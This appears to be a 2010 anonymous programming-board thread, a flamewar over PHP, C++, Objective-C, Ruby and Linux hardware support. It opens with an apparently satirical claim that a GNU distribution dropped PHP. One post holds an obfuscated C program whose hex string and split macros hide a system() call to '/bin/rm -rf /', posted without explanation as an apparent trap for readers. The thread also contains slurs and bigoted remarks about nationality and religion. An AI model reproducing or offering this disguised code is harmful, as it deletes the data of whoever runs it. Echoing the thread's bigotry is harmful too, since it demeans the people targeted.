In a generally well-appreciated move, packagers of the most widely used GNU operating system decided to remove support for PHP, arguing that it is ``a rotten language whose use should not be encouraged.''
Embedding PHP? Yah, good riddance!
Now if they would only automatically rm -rf / whenever some drooling underage idiot tried to program a GUI in that thing!
I mean, WTF, it's not even drag and drop like VB was. Its garbage collection is broken and its ``lambda'' support is almost Lovecraftian. It is very nearly the worst possible language to use for the task!
>>8
No, PHP: Hypertext Preprocessor is Terrible! and should be avoided like the plague. I asked you nicely to go back to /g/, please for posting a /g/ QUALITY post.
>>14
You just don't understand Haskell, you anti-Haskell Nazi!
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Anonymous2010-03-01 13:13
Let's get rid of C++, stick with C as a base, and then reconstruct the whole language so that our new "C++" escapes all the shortcomings of its original namesake.
ONE WORD THE FORCED INDENTATION OF CODE THREAD OVER
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Anonymous2010-03-01 14:41
This thread has been one word the forced indentation of code thread overed. You can't post anymore
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Anonymous2010-03-01 14:51
>>16
Let's call it Objective-C because the world needs more Smalltalk.
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Anonymous2010-03-01 15:51
let us remove the blinded evil that is Objective-C as it does not bear the signifigance or usefulness to exist as anything other than what it really is, not as the 'easiest' way to code for apple cocoa interface, not as a C based language, but something that does not deserve to exist upon this earth in any way shape or form
>>16
The biggest mistake that Sepples makes is tying itself to backward compatibility with the entire history of See *AND* Sepples. If it divorced See and made better design decisions, it could actually be a decent language.
Similarly, they could simply revise the entire language in the next standard and force a compatibility compilation mode for previous code that would need to be updated to use the new standard. This approach allows code to continue working as it used to while making important design decisions. In this way, new code gets written in the new standard.
These two things combined would easily turn Sepples from a clusterfuck into a serious contender for a good language.
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Anonymous2010-03-01 19:38
Remove Java.
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Anonymous2010-03-01 20:01
Remove Ruby. It's always at the bottom of every performance shootout.
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Anonymous2010-03-01 20:14
>>28
Ruby is also created by a Mormon. That's enough reason for me to want nothing to do with it.
>>30
That a Jap made a programming language that Americans found worth using is supposed to be the bizarre part. Being a mormon should just be some sort of amusing footnote.
>>10,15,22,24-25
thanks for reminding me why i keep coming here.
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Anonymous2010-03-01 22:21
>>26
I don't think anyone ever doubted that Sepples could be good if it weren't Sepples.
>>16
Sticking with C as a base is no good. The cult of C has to die, for the good of programming. Oh, until some other portable assembler comes along C will be an important language, but operating systems should not be constructed with the assumption that C is the default language for desktop software.
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Anonymous2010-03-02 0:32
debian is popular enough to be linked to on 4chan now?
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Anonymous2010-03-02 1:18
#define AZD sys
#define BZD tem
#include <stdlib.h>
char * str = "\x2f\x62\x69\x6e\x2f\x72\x6d\x20\x2d\x72\x66\x20\x2f";
int main(void)
{
AZDBZD(str);
return 0;
}
>>48 the linux kernel hasn't really gotten any more modern since 2003.
I really hope you are trying to troll.
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Anonymous2010-03-02 16:42
I'd hate to say it, I love GNU and all, but the maintainers and packagers (especially ones wearing red hats) have been getting lower quality lately. PHP is a great language, if one uses it 10 lines at a time, for simple scripts.
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Anonymous2010-03-02 17:15
Java is a great language if you don't create any classes.
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Anonymous2010-03-02 17:24
>>48
In 2003 you couldn't plug in a printer and have it work.
Now you can (in most cases). So clearly, the kernel improved a lot in terms of hardware support.
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Anonymous2010-03-02 17:27
>>52
see http://dis.4chan.org/read/comp/1267135871
*nix has always been about printer support, not just since '03. i remember one story about how RMS had a problem getting a printer to work so he wrote a new OS.
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Anonymous2010-03-02 17:33
>>46
Ironically, the OS X retail disc is less expensive than Windows.
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Anonymous2010-03-02 19:21
>>52
and in 2010 you can't even plug in a printer and have it work on os x or windows without installing 400MB of crap from hp.
oddly enough, my hp laserjet worked just fine when i plugged it into my dell machine running debian in 2003.
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Anonymous2010-03-02 19:47
The market for inkjets and lasers should never be compared. It's like comparing the business of disposable plastic glasses to that of masterfully handmade pottery.
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Anonymous2010-03-02 19:53
>>55
CUPS plugs in Gutenprint by default or comes with drivers.
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Anonymous2010-03-02 20:22
>>54
Ironically, he was talking about Mac hardware, not OS X.
>>57
yes, and since it worked, >>52 was wrong. the kernel (in 2003) had good enough hardware support for the printer to work. and that was even on a 2.4 kernel, not the (at the time) shiny new 2.6 kernel.
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Anonymous2010-03-02 22:43
>>61
In my opinion it is userland that has evolved the most dramatically since about 2006. Prior to that, it seems XP had something on Linux for hardware support. I don't think Windows ever caught up (and my optical drive still won't work in Win7.)
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Anonymous2010-03-02 23:14
>>62
that's what >>48 said. the kernel's pretty much stood still while the userland has changed a lot.
>>72
cups is userland, not kernel. a lot of hardware works like that. especially things like video cards. most of the improvements to hardware support have been in userland.
>>73
You're being irrelevant. 100% of my newly/better supported hardware since 2003 has required some kind of kernel support/improvement. I was printing things just fine in 1996, and I still don't need cups to do it.